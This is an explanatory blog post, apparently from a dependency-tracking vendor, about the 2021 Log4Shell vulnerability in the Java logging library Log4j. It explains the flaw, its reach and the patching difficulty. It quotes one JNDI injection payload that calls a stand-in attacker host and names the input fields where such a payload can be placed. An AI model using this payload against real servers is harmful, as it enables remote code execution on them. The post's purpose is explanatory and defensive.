On December 9, 2021, a security researcher published a short proof-of-concept online. Within 24 hours it became the most actively exploited vulnerability in internet history. Within a week, hundreds of millions of devices were at risk. The cause: a feature in a Java logging library that had been quietly doing the wrong thing for years.
TL;DR
- Log4j is a Java library used in virtually every Java application for logging — writing records of what the application is doing
- A feature that made log messages "dynamic" could be exploited to make the server run code fetched from the internet
- Any server that logged user-controlled input was vulnerable — login forms, search boxes, HTTP headers
- Apple, Amazon, Cloudflare, Microsoft, and hundreds of thousands of others were affected
- Patching was straightforward; finding every instance buried in the dependency tree was the actual crisis
- CVE-2021-44228, CVSS 10.0 — the highest possible severity
What is Log4j?
Log4j is an Apache project that Java applications use to write log records — "user logged in", "request received", "error: null pointer at line 42". It has been part of the Java ecosystem since 2001. It does one thing, does it reliably, and gets included automatically in thousands of other libraries.
That ubiquity was the problem. By 2021, Log4j was embedded inside enterprise software, cloud services, online games, and tools nobody had touched in years. Most teams using it had never explicitly added it to their projects — it arrived bundled inside other dependencies, two or three layers deep.
The flaw
Log4j supported a feature called JNDI lookup, which allowed log messages to dynamically fetch values from external sources. If a message contained a string like ${jndi:ldap://attacker.com/x}, Log4j would make a network request to that URL and load whatever it returned — including executable Java code.
The attack required only that a server logged user input — which every web application does. Include that string in a username field. Put it in a search box. Send it in an HTTP header. If the server logged it, it would call out to the attacker's server and run whatever code came back.
Who was affected
The answer was essentially: anyone running Java. Apple iCloud, Amazon Web Services, Cloudflare, Microsoft Azure, Cisco, VMware, Twitter, Steam — all confirmed vulnerable within days. Security researchers estimated over 3 billion devices contained the library in some form.
Active exploitation began within hours of public disclosure. Nation-state groups from Iran, China, North Korea, and Turkey were observed scanning the internet for vulnerable servers. Ransomware gangs, crypto miners, and data thieves followed. Some of the largest ransomware attacks of 2022 were traced to initial access via Log4Shell.
Why patching was a crisis of its own
The patch was simple: update Log4j to version 2.17.0. The problem was finding everywhere it lived.
Log4j was rarely a direct dependency. It came bundled inside Elasticsearch, Apache Kafka, Atlassian products, AWS SDKs, and hundreds of other frameworks and tools. A single application might contain it at five different versions through five different dependency paths. None of them would show up in a top-level package manifest.
Teams with accurate, complete dependency inventories answered "do we have Log4j?" in hours. Teams without one spent days or weeks manually scanning JAR files and build outputs — while attackers were already actively probing their systems.
StackRadar tracks your complete dependency tree — including transitives — across every repository, so when a vulnerability like Log4Shell surfaces, you know which products are affected and at which versions before the fire-drill begins.